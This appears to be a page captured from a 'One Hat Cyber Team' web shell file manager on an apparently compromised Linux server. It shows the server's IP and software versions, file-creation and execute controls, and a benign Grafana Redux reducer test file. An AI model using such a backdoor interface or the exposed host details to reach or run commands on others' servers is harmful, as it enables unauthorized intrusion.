⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
test
/
core
/
redux
/
View File Name :
reducerTester.test.ts
import { createAction } from '@reduxjs/toolkit'; import { AnyAction } from 'redux'; import { reducerTester } from './reducerTester'; interface DummyState { data: string[]; } const initialState: DummyState = { data: [], }; const dummyAction = createAction
('dummyAction'); const mutatingReducer = (state: DummyState = initialState, action: AnyAction): DummyState => { if (dummyAction.match(action)) { state.data.push(action.payload); return state; } return state; }; const okReducer = (state: DummyState = initialState, action: AnyAction): DummyState => { if (dummyAction.match(action)) { return { ...state, data: state.data.concat(action.payload), }; } return state; }; describe('reducerTester', () => { describe('when reducer mutates state', () => { it('then it should throw', () => { expect(() => { reducerTester
() .givenReducer(mutatingReducer, initialState) .whenActionIsDispatched(dummyAction('some string')); }).toThrow(); }); }); describe('when reducer does not mutate state', () => { it('then it should not throw', () => { expect(() => { reducerTester
() .givenReducer(okReducer, initialState) .whenActionIsDispatched(dummyAction('some string')); }).not.toThrow(); }); }); });